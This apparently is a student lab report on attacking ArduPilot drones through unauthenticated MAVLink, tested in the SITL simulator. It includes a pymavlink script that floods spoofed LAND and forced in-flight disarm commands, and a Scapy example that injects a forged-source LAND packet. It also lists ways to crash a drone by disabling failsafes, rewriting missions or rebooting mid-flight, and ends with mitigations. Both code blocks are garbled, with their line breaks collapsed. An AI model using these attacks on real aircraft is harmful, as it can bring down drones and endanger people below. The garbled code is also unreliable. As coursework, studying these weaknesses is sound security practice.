

MP5 Mission 2: Network Based Vulnerabilities

DoS Attack and Command Injection Report

Part 1: Denial of Service Attack

Chosen Technique

The chosen DoS technique is MAVLink command spoofing through SITL's secondary TCP port. SITL exposes the autopilot on TCP port 5760 for the primary ground station and on port 5762 as an additional MAVLink endpoint. The autopilot does not differentiate between commands coming from these ports because the default SITL build does not enforce MAVLink message signing. This means any attacker who can reach the secondary port can act as a fully authorised ground station.

The attack is implemented as a short Python script using the pymavlink library. The script connects to TCP 127.0.0.1:5762, waits for a heartbeat to confirm the link is live, and then enters a loop that sends two malicious commands every 10 milliseconds. The first command is SET_MODE forcing the drone into LAND mode. The second command is COMPONENT_ARM_DISARM with the force code 21196 to disarm the drone even while it is flying. Because these commands arrive at 100 Hz, any operator command is overridden within milliseconds. The legitimate operator can type mode GUIDED or arm throttle in MAVProxy, but the next attacker packet immediately reverts the change. From the operator's point of view the drone has stopped responding.

This approach was chosen over a TCP SYN flood because localhost networking on Linux is too efficient for a SYN flood to cause a clear effect. The MAVLink spoofing approach also matches the scenario in the assignment outline more closely, since it exploits the same trust assumption that the timestamp spoofing scenario describes. The autopilot trusts whoever can speak the protocol, which is the core weakness.

The attack stops the moment the script is killed with Ctrl+C, and the operator immediately regains full control. The video demonstration shows this contrast: the operator takes off normally, the attack script is launched, the drone is forced into LAND and disarmed against the operator's wishes, the script is stopped, and the operator can take off again. This is a successful DoS execution.

Attack Script (mavlink_dos.py)

```
import time from pymavlink import mavutil TARGET = 'tcp:127.0.0.1:5762'
TARGET_SYS = 1 TARGET_COMP = 1 LAND_MODE = 9 mav =
mavutil.mavlink_connection(TARGET, source_system=255, source_component=190)
mav.wait_heartbeat() while True:
    mav.mav.set_mode_send(TARGET_SYS,
    mavutil.mavlink.MAV_MODE_FLAG_CUSTOM_MODE_ENABLED, LAND_MODE )
    mav.mav.command_long_send(TARGET_SYS, TARGET_COMP,
    mavutil.mavlink.MAV_CMD_COMPONENT_ARM_DISARM, 0, 0, 21196, 0, 0, 0,
    0, 0 ) time.sleep(0.01)
```

Part 2: Command Injection Using Scapy and ArduPilot

Background

Command injection on a drone happens when an attacker sends a crafted network packet that the autopilot accepts and acts on as if it were a legitimate command. ArduPilot is exposed to this kind of attack because it speaks MAVLink over the network and, in many default deployments, does not require message signing. Scapy is a Python library that lets an attacker build network packets at any layer of the stack, from raw Ethernet frames up through TCP and UDP payloads. With Scapy and pymavlink combined, an attacker can construct and inject MAVLink commands that the autopilot cannot distinguish from operator commands.

Identified Vulnerability

The vulnerability is the lack of authentication on the MAVLink command channel in default ArduPilot configurations. When ArduPilot receives a MAVLink message such as MAV_CMD_DO_SET_MODE, MAV_CMD_COMPONENT_ARM_DISARM, MAV_CMD_NAV_TAKEOFF, or PARAM_SET, it checks whether the message is well formed and addressed to its system ID, but it does not verify the origin of the message. ArduPilot has an optional message signing feature defined in the MAVLink 2 specification, however this feature is disabled by default and many operators never turn it on because it adds operational complexity. As a result, any host that can reach the autopilot's MAVLink endpoint, whether over WiFi, a companion computer link, or a forwarded UDP stream, can issue commands as if it were the legitimate ground station. This is a textbook spoofing flaw and it directly enables command injection because MAVLink commands are themselves the commands being injected.

Crafting Malicious Packets with Scapy

Scapy gives the attacker full control over the packet contents. The attack works in two steps. The first step is to determine the network layout: the IP address of the autopilot, the transport protocol it is using (UDP for telemetry forwarding or TCP for direct connections), and the destination port. The second step is to assemble a packet whose payload is a valid MAVLink message. The MAVLink wire format is documented and stable, and pymavlink can be used to encode the payload bytes. Scapy then wraps those bytes inside a UDP or TCP packet with forged source addressing if needed.

A simplified example of how the two libraries combine to inject a forced LAND command into an autopilot listening on UDP port 14550:

```
from scapy.all import IP, UDP, send from pymavlink.dialects.v20 import
ardupilotmega as mavlink # Build the MAVLink payload using pymavlink mav =
mavlink.MAVLink(None, srcSystem=255, srcComponent=190) msg =
mav.command_long_encode(      target_system=1, target_component=1,
command=mavlink.MAV_CMD_DO_SET_MODE,      confirmation=0,
param1=mavlink.MAV_MODE_FLAG_CUSTOM_MODE_ENABLED,      param2=9,      # LAND
param3=0, param4=0, param5=0, param6=0, param7=0 ) payload = msg.pack(mav)
# Wrap it in a forged UDP packet using Scapy pkt = IP(src='10.0.0.99',
dst='10.0.0.50') / UDP(sport=14550, dport=14550) / payload send(pkt)
```

This single packet, if it reaches the autopilot, is enough to force a mode change. The attacker can repeat the send call in a loop to override any operator command, or send a single carefully chosen packet such as a parameter write that disables a safety feature.

Possible Malicious Commands and Impacts

Once the injection path is established, the attacker has access to nearly the full MAVLink command set. The most damaging examples include the following:

- Unauthorised flight control. The attacker can send SET_MODE, NAV_TAKEOFF, NAV_WAYPOINT, and DO_REPOSITION commands to fly the drone to a destination of their choice, override the operator's flight plan, or force a crash by commanding LAND over water or over a populated area.
- Forced disarm in flight. Sending COMPONENT_ARM_DISARM with the magic value 21196 causes ArduPilot to cut motor outputs even while airborne, which results in an uncontrolled descent.
- Parameter tampering. PARAM_SET messages let the attacker rewrite any autopilot parameter. They can disable failsafes, change the geofence radius to zero or to an enormous value, lower the battery failsafe threshold so the drone keeps flying until it crashes from low power, or change radio failsafe behaviour.
- Telemetry exfiltration. By sending REQUEST_DATA_STREAM the attacker can subscribe to telemetry feeds including GPS position, attitude, and mission plans. This leaks the drone's location and operational pattern in real time.
- Mission injection. MISSION_ITEM_INT messages can rewrite the entire flight plan stored on the autopilot, replacing the operator's waypoints with attacker controlled ones. The drone follows the new mission as soon as it is switched into AUTO mode.
- System malfunction through firmware reboot. MAV_CMD_PREFLIGHT_REBOOT_SHUTDOWN with the right parameters causes the autopilot to reboot mid-flight, which crashes the drone.

The combination of these capabilities means a successful command injection on an unprotected ArduPilot link gives the attacker effective ownership of the drone. Mitigations include enabling MAVLink 2 message signing, restricting the network path between the operator and the drone (for example using a dedicated VPN or a wired companion link), and adding rate limiting and source address filtering at the autopilot or at any forwarding gateway.